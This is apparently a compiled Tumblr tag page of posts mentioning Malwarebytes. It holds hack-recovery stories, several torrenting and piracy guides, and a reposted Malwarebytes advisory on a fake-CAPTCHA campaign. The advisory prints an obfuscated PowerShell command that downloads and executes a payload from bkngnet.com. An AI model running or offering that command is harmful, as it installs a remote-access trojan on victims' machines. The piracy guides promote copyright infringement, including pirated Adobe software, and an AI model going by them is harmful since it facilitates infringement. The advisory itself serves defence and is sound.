#Malwarebytes Download

[badolmen]

*stumbling away from my first successful video game torrent like a newborn deer on wobbly legs*

[ebolagranola]

Just had some straight up creepypasta shit happen. Computer suddenly bluescreens and it boot loops a few times. It takes forever, but it loads up again. The windows 10 background is old, and something feels off. I type my password. Doesn't work.

That's okay, it's long, I mess it up a few times. But eventually I take it slower. More deliberately. Making absolutely sure I get every single letter and symbol correct. Doesn't work. I do it again. Doesn't work. There's this desperate panic. I was watching malware videos before this happened, and had recently downloaded a lot of game mods I really didn't know much about. I put in security questions for my windows installation, but they weren't coming up when I requested to reset my password. Just a strange pop up asking to insert a password reset usb.

Then, I realize. The name displayed for the windows profile is different. It's… Older. I made the name of my new windows installation "Grace" just for convenience with recording for ChainmailChasers, but my old laptop drive installation was named Ebola. Uncertainty clouds my mind. Nervously, I type in my old password. Due to faded memories, my first attempt is the wrong password. But the second… Works.

It buffers just a little too long, just like the previous failed password attempts did, pausing as if the computer itself wasn't sure if the password was correct or not. But the desktop loads. My old desktop. It's so laggy from the drivers being incompatible that most of my mouse clicks aren't registering. My other drives showed up out of order in the file explorer, meaning they weren't wiped, but were blocked from access by windows. I didn't have authorization.

Google searches only pull up Blue Screen of Death results. No one is talking about my issue. I hit control alt delete and I only have two options: Shut Down and Restart. I shut down. It refuses to. I have to hold the power button. I load the bios, and wander around until I find the boot priority. Something so simple but specific that it felt deliberate. The crash had somehow swapped the boot priority from my SSD to my old laptop drive which is connected by SATA to USB. I swap it. It works.

Powershell /sfc scannow (a built-in windows utility that detects and automatically repairs damaged windows installation files) finds nothing. MalwareBytes detects nothing. My computer runs flawlessly again. All my accounts are untouched. But still, I'm left with this lingering feeling. Seeing that old desktop again, after a year… It was like seeing a ghost. Also, if this all sounded fairly circumstantial, imagining dealing with all of this high.

[deathbypufferfish]

wcif the high chair in your daycare build ? ❤️

I've gotten a couple wcifs for this highchair in the past, but the download site gets flagged by malwarebytes and it's from 2017 so I've decided it to reupload it lol.

Here is a clearer pic of the high chair and feel free to reblog this to your cc finds blogs all you want.

reupload on google drive

[tf2playernames]

additionally would malwarebytes be robust enough to save me from any ghoulies that downloading a copy of bloodborne might bring me

[imjustabeanie]

Hacked Account Warning

I'm in Asia Server by the way

There are pictures for proof

You don't need to have your login infos shared for you to get hacked. 

There are some hackers that attack your email, and when they can't they attack your pc itself.

The destroyed weapons:

It was during my exam period that I was hacked. I just logged in to do dailies before going back to studying when I noticed my arle was doing WAY less damage. I checked her weapon and lo and behold it wasn't there. Destroyed. I checked alhaitham and his weapon was destroyed too. Same with Amos bow and a lyney bow. I didn't understand what was happening and contacted mihoyo. Someone logged into my account at 4 am, destroyed weapons and 2 artifacts, renamed wandered something racist and left. I was pissed and was talking back and forth with the mihoyo support as no device besides had logged in and I didn't give the infos to someone else. So how come the hacker got in without me receiving a confirmation email? Well I got my answer a day later when microsoft finally sent me an email informing me of a suspicious logging.

The logins...:

That's when I discovered how bad it was. For over a month, someone was trying to log into my window session and I wasn't informed by Microsoft! They used a VPN as it came from China, Russia, America and Brazil. They succeeded in the Brazil vpn. I changed all my info and did the necessary steps. I found many virus on the pc despite not downloading shady things and even a fake anti virus that I don't remember installing (SAntivirus) and it was VERY annoying to Uninstall. Thankfully I found videos to do it.

 I scanned the pc using the Microsoft anti virus and found 4 virus, 2 of high danger. I did a deep clean by the way and it lasted over 6h. Even when I Uninstalled them they came back so I installed Malwarebytes who found 34 virus....the fake anti-virus was found with it by the way. After I destroyed them all I didn't have any attempt besides one which I didn't have the time to take it up to cyber criminality. 

The Viruses:

So to any pc player, please be very careful and get a good anti virus. Scan your pc often as unfortunately there are very ill intentioned people around. The hacker didn't touch my hsr account, just my genshin where I spent a lot of time on it.

The alhaitham weapon was very sentimental as it was my first and I explored all sumeru desert to get it. I had lost both the 50/50 on it. Same for arle weapon, I lost the two 50/50 to lyney bow to get it. I was devastated because I'm ar 60 with no exploration left. Even the teapot is all done. For the wanderer name...all you have to know is they changed it to something racist towards black people and I had to fight with hoyo for them to realize and send me a name paper to change it.

ADVICE FOR PLAYERS: 

-Scan your devices often

-Get a good anti virus

-Download from trusted sources, I know we all get the apk and the such but there are websites you can't trust!

-If you can, log out before shutting down your device

-Check your connection history of Microsoft. They don't warn you until it's too late.

[rohirric-hunter]

Y'aaaaaaaaaall I saw a post recommending O&O ShutUp to disable Copilot and I downloaded it and looooooook

If this works as advertised they'll never be able to try to sell me Office 365 by pretending I need to finish setting up the computer I've had for two and a half years again. And Malwarebytes will have to stop giving me popups every two hours!

[toothsalad]

I put together a quick guide to torrenting for my friend and I thought I'd share it with all of you:

Torrenting is a form of file sharing where instead of uploading files to a centralized server, computer users share local files between themselves in a peer-to-peer system. 

Steps:

Download a torrent client- a program that allows you to torrent. It is wise to have a vpn and an aggressive antimalware program as well. I prefer Transmission, which theoretically runs on all operating systems

https://transmissionbt.com/download

2. Find something you want to torrent- the pirate bay is a fine place to start

3. Safety check:

Is the torrent size appropriate for what you are supposed to be getting? A torrent that is way too large or too small suggests there may be malware in the torrent.

Is the number of files within the torrent appropriate for what you are supposed to be getting? Too many files suggest there may be malware in the torrent.

When was it uploaded? Older torrents are more trustworthy, be wary of anything that has been posted within the last month.

How many seeders (people who have the program locally on their computer and are making it available to share) are there? The more seeders there are, the more likely it is to be safe

4. Click the magnet link [On pirate bay it’s the link that says “GET THIS TORRENT”] and open it or paste it into Transmission

5. Select a destination folder

6. Keep Transmission open while the file downloads

7. Safety Check 2:

Check the folder for any unexpected files. Many times there will be separate files for the video (these are usually .mp4) and the captions (these are usually .srt), and this is fine. There may also be a .txt containing information about the torrent. DO NOT CLICK any .exe or .zip files without knowing what they are!!!! If you cannot verify what these files contain you should delete them immediately

Scan all files with an antivirus software like malwarebytes to verify their safety, or at the very least check the file properties.

8. Enjoy! And remember it is polite to leave Transmission running to seed the torrent for other people.

List of torrent terms: https://www.androidauthority.com/what-are-torrent-seeders-3232600/

[badolmen]

“I’m scared to pirate stuff - ” do it scared!*

*with Firefox and Adblock and a VPN and -

If you want a nonspecific, nonexhaustive “where do I even start” guide…

Sail the cyber seas at your own risk!

Streaming - “I want to watch xyz”

This is normally what most people want when they talk about pirating.

Use Firefox with uBlock Origin and additional privacy add-ons such as PrivacyBadger, TrackMeNot, etc.

Free VPNs are out there. Get one - but vet it’s efficacy. My go-tos are Proton VPN, or Windscribe if you plan to do a bit of torrenting.

What is torrenting? How does it work? Here’s a guide!

Back to streaming -

Make sure that a) you’ve got your Mozilla browser with all its adblocking private glory, and b) you’ve got a VPN turned on to hide what you’re doing in that browser from your ISP (internet service provider).

Now you need to actually find a site to stream from. This is the tricky part, because openly sharing these sites will get them taken down if they’re talked about widely enough. (Remember how tiktok idiots got zlibrary taken down?)

You’re going to have to talk to people on forums. You’re going to have to experiment with sites you find yourself. Search for ‘x online free�� and look at the links that come up - is the preview text mangled or clickbaitey? Are there Reddit threads about that website confirming or denying its content? A good rule of thumb is to ignore the top result or two - copycats of good streaming sites will often buy out the top result spot. Eventually, you’ll develop a good gut feeling and understanding of what a good site ‘looks like’ from the results page alone.

However, there are some places that compile good sites that haven’t been nuked by lawyers (yet) - check out r/FMHY! The masterposts are actively curated and updated when a site goes down or is found to have malicious downloads.

Remember - loose lips sink ships. No tweeting (xeeting?) or Facebook statuses about your new favorite piracy website and where you found it. Even posting to tumblr (kind of like this…) isn’t a great idea if you want those websites to stay under the radar and stay accessible. Nobody talks, everybody walks (away with their share of pirate booty)

If you aren’t downloading media, pick pretty much any site and watch away! Adblock and Firefox will keep away pop-ups and other annoying ads, and your VPN means your ISP can’t tell that you’re visiting an unofficial streaming service.

Note: In my experience, I’ve never heard of visiting a site and watching stuff on it infecting or otherwise compromising your computer. That tends to come from misclicks on invisible or overwhelming pop-up ads that redirect you to an automatic download or similarly malicious bullshit. If you’re using Firefox and uBlock, you shouldn’t be in any danger of an accidental redirect.

Downloads - “I want to keep xyz”

This is the realm of pirate archiving - you’re keeping files physically on your hard drive, an external hard drive, or burning a disk.

Adblock + Firefox browser? Check. VPN on? Check.

Go to your streaming site of choice - most if not all have download options. You can download those files or, manually, right click and save the video file from the webpage as an mp4. I honestly don’t know if there’s a difference in quality or more danger in clicking the download buttons, but regardless -

Run that puppy through VirusTotal.com! It’s a reliable browser based virus checker - if the file is too large, use a local virus checking program (your native Windows Defender on Windows computers or, I prefer, Malwarebytes)

Generally mp4 and mp3 files are clean - choose where to save them for the long term, and bam! Free forever media.

Optionally, I also upload mp4 files to a named Google document - this way I can easily share them or make them findable through a ‘xyz Google doc’ search for others :]

Torrents - “I want to keep and share xyz”

I’m not going to go into this subject in depth because, honestly, it’s not something I do regularly.

See the previously linked Torrenting guide for information on how the process works, and check out r/FMHY for recommendations and warnings about different torrenting clients (I’ve personally only used qBittorrent - I’ve heard to stay away from the Pirate Bay and Bittorrent.)

As with streaming, turn on that VPN baby! You’re going to need one that supports peer-to-peer (p2p) connections, so Proton’s free version is a no-go. Windscribe is what I’ve used for torrenting (and it’s a good free VPN on its own - I’m just partial to Proton). You get 10GB every month on Windscribe’s free version, which is more than enough for a few movies/a season or two of your favorite show.

(Bigger torrents like video games are easily 30+ GB, so be prepared to either pay for a no-limit premium account or spend a few months downloading your files in chunks.)

VPN on? Double check.

Boot up your torrenting client - I use a slightly out of date version of qBittorent, but there are other options. The Reddit thread and previously linked torrenting guide have a few dos and donts of selecting a client, so be thorough before you download your client of choice.

This is getting into the logistics of torrenting a bit, so forgive me if this is vague or incorrect, but now you need a torrent seed. These will be .tor files found through pirating websites or archives - these are rarely malicious, but it’s good to run any piracy related download through something like VirusTotal.com or scan it with a local program like Malwarebytes.

You open your seed file in your client and wait. A ‘healthy’ seed tends to have lots of seeders and few leeches, but sometimes you’re stuck with an obscure seed you just have to wait for.

Your torrented files have fully downloaded! Now what? a) keep your client open and seed those files for others as long as you want to - sharing is caring! and b) run those files through a security program like Malwarebytes (not sponsored it’s just the only program I’m familiar with).

Be wary of what gets flagged - sometimes the files seem important, but are just trojans, and likewise sometimes they seem malicious, but are just cracked software getting flagged by your system. It’s good to check and see if others have had a problem with this particular torrent before - Reddit threads from 2008 are your long dead friends.

And that’s about it. Feel free to correct me if anything I’ve recommended is malicious or outright wrong. I’ve been doing this for years and haven’t had an active problem to my knowledge, so if there is something fishy with how I do things, I am a statistical outlier and should not be counted.

I wish you smooth sailing and strong winds in your ventures me hearties!

Obligatory ‘don’t pirate small author’s or artist’s works what the fuck dude’ statement.

[anotherdayforchaosfay]

Cybercriminals have started a campaign of redirecting links placed on gaming sites and social media—and as sponsored ads—that lead to fake websites posing as Booking.com. According to Malwarebytes research, 40% of people book travel through a general online search, creating a lot of opportunities for scammers. The first signs of the campaign showed up mid-May and the final redirect destination changes every two to three days. Following the links brings visitors to a familiar strategy where fake CAPTCHA websites hijack your clipboard and try to trick visitors into infecting their own device.

As usual on these websites, by putting a checkmark in the fake Captcha prompt you’re giving the website permission to copy something to your clipboard. Afterwards, the scammers involved will try to have the visitor execute a Run command on their computer. This type of prompt is never used in legitimate Captcha forms and should be immediately suspicious to all individuals.

instructions to infect your own device If you’re using Chrome, you may see this warning:

Chrome issues a warning but it may the danger may be unclear to users The warning is nice, but it’s not very clear what this warning is for, in my opinion. Users of Malwarebytes’ Browser Guard will see this warning:

Malwarebytes Browser Guard’s clipboard warning “Hey, did you just copy something? Heads up, your clipboard was just accessed from this website. Be sure you trust the owner before passing this someplace you don’t want it. Like a terminal or an email to your boss.” Well, either way, don’t just discard these warnings. Even if you think you’re looking at an actual booking website, this is not the kind of instructions you’re expected to follow. What the website just put on the clipboard may look like gobbledegook to some, though more experienced users will see the danger. pOwERsheLl –N"O"p"rO" /w h -C"Om"ManD "$b"a"np = 'b"kn"g"n"et.com';$r"k"v = I"n"v"o"k"e-"R"e"stMethod -Uri $ba"n"p;I"nv"oke"-"E"xp"r"es"sion $r"k"v" The cybercriminals used mixed casing, quote interruption, and variable name manipulation to hide their true intentions, but what it actually says (and does if you follow the instructions) is: powershell -NoProfile -WindowStyle Hidden -Command "$banp = 'bkngnet.com'; $rkv = Invoke-RestMethod -Uri $banp; Invoke-Expression $rkv" The malicious Captcha form tells the user to copy the content of the clipboard into the Windows Run dialog box and execute the instructions from the above command. When Browser Guard detects that the text copied to the clipboard contains this kind of potentially malicious command, it will add the phrase Suspicious Content at the front of the copied content which makes it an invalid command and the user will see a warning instead of having infected themselves. Should a user fall for this without any protections enabled, the command will open a hidden powershell window to download and execute a file called ckjg.exe which in turn would download and execute a file called Stub.exe which is detected by Malwarebytes/ThreatDown as Backdoor.AsyncRAT. Backdoor.AsyncRAT is a backdoor Trojan which serves as a Remote Access Tool (RAT) designed to remotely monitor and control other computers. In other words, it puts your device at the mercy of the person controlling the RAT. The criminals can gather sensitive and financial information from infected devices which can lead to financial damages and even identity theft.

IOCs The domains and subdomains we found associated with this campaign rotate quickly. From what I could retrace, they change the URL to the landing page every two to three days. But here is a list of recently active ones. (booking.)chargesguestescenter[.]com (booking.)badgustrewivers.com[.]com (booking.)property-paids[.]com (booking.)rewiewqproperty[.]com (booking.)extranet-listing[.]com (booking.)guestsalerts[.]com (booking.)gustescharge[.]com kvhandelregis[.]com patheer-moreinfo[.]com guestalerthelp[.]com rewiewwselect[.]com hekpaharma[.]com bkngnet[.]com partnervrft[.]com

Malwarebytes blocks the download from bkngnet[.]com How to stay safe There are a few things you can do to protect yourself from falling victim to these and similar methods: Do not follow instructions provided by a website you visited without thinking it through. Use an active anti-malware solution that blocks malicious websites and scripts. Use a browser extension that blocks malicious domains and scams. Disable JavaScript in your browser before visiting unknown websites. The clipboard access is triggered by a JavaScript function document.execCommand(‘copy’). Disabling JavaScript will stop that from happening, but it has the disadvantage that it will break many websites that you visit regularly. What I do is use different browsers for different purposes.

[blurrymango]

Thought you might find this funny-I downloaded the free trial of Malwarebytes for reasons of. Well. Getting ahold of abandonware without getting doxxed lol.

APPARENTLY this was a good idea, because something I downloaded had a couple of nasty little executables tagging along that could've bricked my laptop, and I only knew about it because I got a notification from Malwarebytes after it nuked both of them.

And this, ladies and gents, is why we take precautions when we sail the high seas.

Oh wow!

[torchstelechos]

hey guys quick question, do any of y'all know what threatsweeper .xyz is?? I got this pop up twice on Tumblr and just ignored it until it went away and Malwarebytes doesn't see any viruses on my phone soooo ??? I even checked cookies and downloads just to be safe and nadda. Is it a new issue for more than just me or? I saw someone else posted about it too so pls help folks

[technoblade-apologist-and-proud]

thank you for your service of warning tumblr users what websites NOT to visit

np! if anyone wants a (mostly) safe piracy site to use, check 1337x dot to great site, mostly safe, though as always run anything you download through an antivirus (if you're on windows, windows antivirus is usually more than enough; if you're on mac, try malwarebytes' free trial)

[farcillesbian]

Hey Peach I won't ask anything super incriminating or anything but do you need a VPN to torrent stuff? Or really good antivirus?

I know I should look into how to do that stuff but before I attempt anything of the sort, I wanna know if I should beef up my security before I start sniffing around.

Im really out of my element here 😭

hi hi, so there are a couple of things I do to keep my computer/data safe when torrenting - first of all, yes, a VPN is a great idea!! the one time I forgot to turn on my VPN before torrenting something at my parents house my dad got a letter from our internet provider about it 😵‍💫 (it basically was something about "your IP address was used to download copyright infringing material, don't do it again").

it's generally best practice to have some type of VPN set up before torrenting! try to stay away from free VPNs, from what I understand they're not the most reputable and oftentimes they're profiting off selling your data (the ol' "if they're not making money off the product then *you're* the product"). I hear good things about Mullvad and ProtonVPN - I believe at least Proton does have a free tier that just has a limit to how fast you can download things with it!

as far as antivirus goes, it's got its pros and cons. I actually don't always have it turned on, and I'm not a big fan of the built in Windows Defender (it tends to have a lot of false flags) - I like MalwareBytes and I'll do an occasional scan of my computer after downloading stuff & before actually running things. I personally find that antivirus programs tend to quarantine video game installation files when I try to run an installer for a game I torrented, which causes the installation to fail and then I have to go manually check the antivirus to un-quarantine the files 🙄 which is why I end up not having mine running all the time. but if it makes you more comfortable def keep it on, and just remember to check for quarantined files if you're having weird errors trying to install anything!

however I do also make sure that I'm visiting sites I generally trust so that lowers my chances of downloading anything sketchy (though not 0 - be mindful of what you download and open on your computer, especially executables (.exe files)!!) I find all sites I use either via direct recommendations from trusted friends who are very knowledgeable about information security and stuff, or from the r/piracy subreddit's megathread (they have a lot of recommendations for all different kind of media, and also a lot of helpful info about cautious pirating in general)

also, make sure that the torrent client you use is good! I've always used qBittorrent - it's pretty easy to use and set up, it's straightforward, open source, ad-free, and also has a lot of handy features (one of them being a feature in the advanced settings where you can have it only do things with your torrents while your computer is connected to your VPN, which is good for keeping your real IP address secure. if you want help figuring out that setting just reach out again and I'm happy to help!) whatever you do, please don't use μTorrent lol, that one sucks. also, you don't have to update it every time it comes out with an update, but it's generally a good idea to check the qBittorrent subreddit when an update does come out just to see if it deals with anything important security-wise - just recently, a pretty major backdoor vulnerability was identified and fixed, so it was actually pretty critical that everyone update to the latest version (to anyone reading this, make sure you're on 5.0.1 and nothing older than that!)

and also, a good Adblock like ublock origin will help keep you from accidentally clicking on nefarious links when trying to download things on the internet, so make sure you have that set up too!

also also, some regular websites (especially streaming services) HATE VPNs so if you have one running and you're trying to watch something on like, Netflix or your cable provider's streaming site and it's not working, pause the VPN till you're done! and that's where having your torrent client set up to automatically pause all torrents while your VPN is off comes in handy.

also also also, a note on torrenting etiquette - when you are torrenting something from other people (aka peer to peer/P2P file sharing) you are considered a "peer" and the people who have the full files and are sharing them with you via torrent are called "seeds". peers need to be connected to seeds to be able to receive the file. you will also have a ratio for each torrent - this is the amount of data you have sent vs how much you have received. a ratio of over 1.0 means you've sent more than you've received and is considered to be "good form". I usually stop seeding a torrent once it reaches above 1.0, and I do also often go stop seeding a lot of stuff below the 1.0 ratio if it looks like it has a lot of seeds, but I like to keep seeding when it seems like I'm the only one or just one of a few people seeding, especially for media that I already had a hard time finding, to make it a bit easier for someone else trying to torrent it. there are some things that I've waited months to finish torrenting just because nobody was seeding at all for a while 😭 so I do what I can to keep torrents alive myself.

sorry this ended up longer than I thought it would be, and probably longer than you expected, but I hope this is helpful! happy sailing the digital seas, anon :D

[dadjoke-ness]

So Your Discord Got Hacked

A few days ago, my discord got hacked because I fell for the good old fashioned "friends working on a game" scam.

FIRST UP if any of your friends want you to try their new game, ask them identifying questions. I fell for this and feel like an absolute MORON.

BUT say you did fall for it, your discord went down and logged you off. HERE ARE THE STEPS TO TAKE.

DO NOT Log in on your computer. The virus the scammers use has a keylogger in case you have 2FA already. They need you to input your code to change the password on you. ALSO reroll any of your 2FA generated codes from the secondary device. The hacker will copy these in case you set up 2FA.

If you don't have 2FA and the hacker turns it on, IMMEDIATELY go here and submit a ticket. I will show an example ticket below, with the language I used.

Go to paypal, and if you see any charges, click on the discord charges and disable automatic payments. If you don't already have 2FA on paypal, turn that on, and once again, DO NOT use the device that got hacked.

Keep your email open. As soon as you get a response from support, you need to reply to that email.

UNINSTALL discord from the hacked device, along with anything you may have downloaded in the past 24 hours (like the unzipping program. And delete the hacker's program). Also delete the discord.exe file from your downloads on the computer.

RUN A VIRUS SCAN WITH DISCORD UNINSTALLED. Just in case they set the worm to jump out then worm back in. I used Malwarebytes - windows defender cannot catch what they are doing.

Restart your computer.

Run a second virus scan.

Download discord again directly from discord. Install from the new EXE file. Run a third virus scan just to be safe.

IF IT WORKED, the QR code login will load properly. The worm the hackers use blocks the QR code - this is so you type your password/the 2FA code. They also block your computer from seeing what other devices are accessing your account - because you'd be aware they're logging in.

WHEN YOU GET YOUR ACCOUNT BACK - change the password via a secondary device. My computer discord was hacked, so I changed the password via mobile. I also rerolled all the backup codes just in case. Discord staff turns off 2FA when they get you back into your account because it's very common for hackers to turn it on to keep you from getting in.

Log in via the QR code scan (if it was your computer). This is just a secondary precaution, I don't want my computer to know the password at all.

CONTACTING DISCORD SUPPORT:

Note: you want the first email or an email prior to the last 24 hours just in case the hacker changes your email address. When staff is looking at your ticket, they use this as a confirmation, if it was changed today, that could be the hacker trying to use support to hack you back.

(Here there's a popup of recommended articles, I'm skipping that.)

I don't know if I said any magic words but discord got me back into my account VERY quickly.

I got rehacked before I went through the steps of uninstalling and virus scans, but I quickly got the hacker out by doing mobile only on all the resets.

You can also tell if the hacker is there because your discord will keep logging you out randomly! This is (from what I figure) the hacker logging out your hacked device to get your 2FA codes, but they have to be fast, so if they miss it they log you out again.

[terraliensvent]

hey veal, if u read this blog - grab malwarebytes and bitdefender, do a massive scan. change your passwords from your phone/another device. back up your computer and do a hard reset if anything shows up in the scans. just a safety precaution. i dont think the culprit would've made you download anythin' but its better safe than sorry

good cybersecurity practice, also enable two factor authorization

[zytes]

Hello, have you talker about your art process anywhere? I am very interested in how you got into glitch art/photomanipulation/however you’d call this, and i want to learn more. Do you have programs you use, plugins, do you use any physical media or scanography/scanner manipulation? I really want to hear about anything you wanna talk about regarding the creation process for your art. Thank you for sharing your work.

Yes! Unfortunately, I tried answering this question in a ton of detail but tumblr didn’t save it as a draft automatically - which was a frustrating experience to say the least - so this is my second attempt at answering this ask — you’ve asked a lot of really valuable questions here, I’ll do my best to be concise in my answers!

When I first began playing around with editing software, I was 16 and simply wanted to make memes and silly edits. This was around 2015-2016, whenever vaporwave was a fresh concept and Resonance was trending on Vine — which is a sentence that makes me feel fucking ancient. I was really entranced by vaporwave, which had this off-white nostalgia for post-consumerist 80s and 90s cultural trends. I later became interested in how many of those cultural trends persisted and evolved into Y2K culture and beyond.

these are some of the images I was working on during that period of time, which were loosely inspired by indie horror and jazz cups and soundcloud rap. I was so proud of learning how to make my own scanlines using GIMP :)

Late 2016 I began my freshman year at a hoighty-toighty art school that I was too poor to attend, and quickly entered a mental health downward spiral — but I learned many valuable things, most of that info was painfully basic; my education prior to that was not anything special. I would not consider myself someone with exceptional aptitude for art — I just have a chronic compulsion to break things.

So, where to begin? My recommendation to anyone who’s newly interested in this style of artwork and editing:

Glitchet is a repository of info regarding many different styles and methods of distortion - from sonification to slipscans, there’s a ton of good info to comb through. Most of the techniques and tools covered are free to use, but there is some paid stuff out there too - but if you know your way around, virtually everything is free. More on that shortly :)

As for my process, programs, plugins, etc - there is a lot, and I don’t think I can cover everything. Primarily: Photoshop, After Effects, GIMP, ArtStudio Pro for iOS, Procreate, DestroyPix, and a number of other pieces of software that perform smaller, specific functions - such as BigJpg for AI-upscaling. I also employ analogue/physical distortion techniques like circuit-bending, slipscan, and more. These require additional hardware and knowledge; such as access to a copier/scanner, old CRT screens, and the ability to solder + work with low voltage electronics without accidentally shorting them out. Best part is that you can ✨layer✨ anything and everything, collage style — which is my favorite aspect, very playful and exploratory.

Now, if you’re like me and can’t afford fuck-all, but wholeheartedly believe that money should not be a limiting factor for creativity, I recommend installing the Adobe Creative Suite from downloadpirate(dot)com - which is also where I’ve gotten many of my plugins, although I do also pay for the plugins that I come to really appreciate, as they’re typically done by independent developers who could actually use the scratch. Same risks as any pirate cove: intrusive ads, popups, and redirect chains - use Ublock Origin to kill these annoyances. I recommend performing a scan with Malwarebytes after using any sketchy-looking-download site, but I was raised to be a bit paranoid so that’s purely preferential.

As for plugins:

Filenames in this image may correspond with the developer of the plugin — you can just search the filename + ‘after effects plugin’ and you’ll almost certainly find your way.

Most commonly, I use Pixelsorter, Pixdither, Displacer Pro, Pixel Stretch, and Hacksaw — although some of the plugs that I use aren’t listed above, like Datamosher, which is a script-based solution that helps remove i-frames from a clip in After Effects, all without having to use VLC and any handwritten scripts (the ol’ fashioned way).

These are all from the last year or so, to show the relative growth I’ve experienced since my time spent as a creature of 16 years. Naturally, I’m also like, more of a person now - so the art is partly better because I’ve simply suffered more :p

When I started, I didn’t know any of the jargon or how to describe a specific effect I was trying to achieve - so I taught myself how to do stuff by googling around, and if I couldn’t find an answer (which was 90% of the time) I’d just try to figure shit out. Which rarely ever resulted in outright success, but was always a significant learning experience. That’s why I’m so quick to drop the link to Glitchet! Sometimes I can’t help but wonder what I’d be doing now if I had known there was an online library for info on how to produce different types of distortions - definitely would’ve spent less time trial-and-erroring my way through aesthetics.

In conclusion: there’s so much to try and you should try absolutely everything that interests you. It’s free if you’re cool enough to steal it; though some things (like hardware) are gonna cost. You don’t need talent or an exceptional education, though both of those things would certainly help — and you’ll never run out of things to learn because there are infinite ways to break shit. More so than anything else, you need a willingness to explore, experiment, and fail often. You’ll fail miserably at times, so a proclivity for humiliation is also a big plus. Eventually your failures will start looking like successes; but you’ll have forgotten the difference by then and will be free to make whatever the fuck you want :)

I’m glad that you enjoy the work! tumblr has always been the best place for me to share my lil jpegs and actually find a real sense of connection with others who are similarly jazzed. My life completely bottomed-out a few years ago and I was in a really bad place whenever I logged into my blog for the first time in half-a-decade and started posting again. My personal growth from then to now has been a strange and incredible experience, and I’m so glad that I had the art and the funny little gays on this website to help me through the toughest points and teach me valuable things about myself; so if I can give back a little knowledge, I’ll gladly take that opportunity! I hope these findings serve you as well as they’ve served me.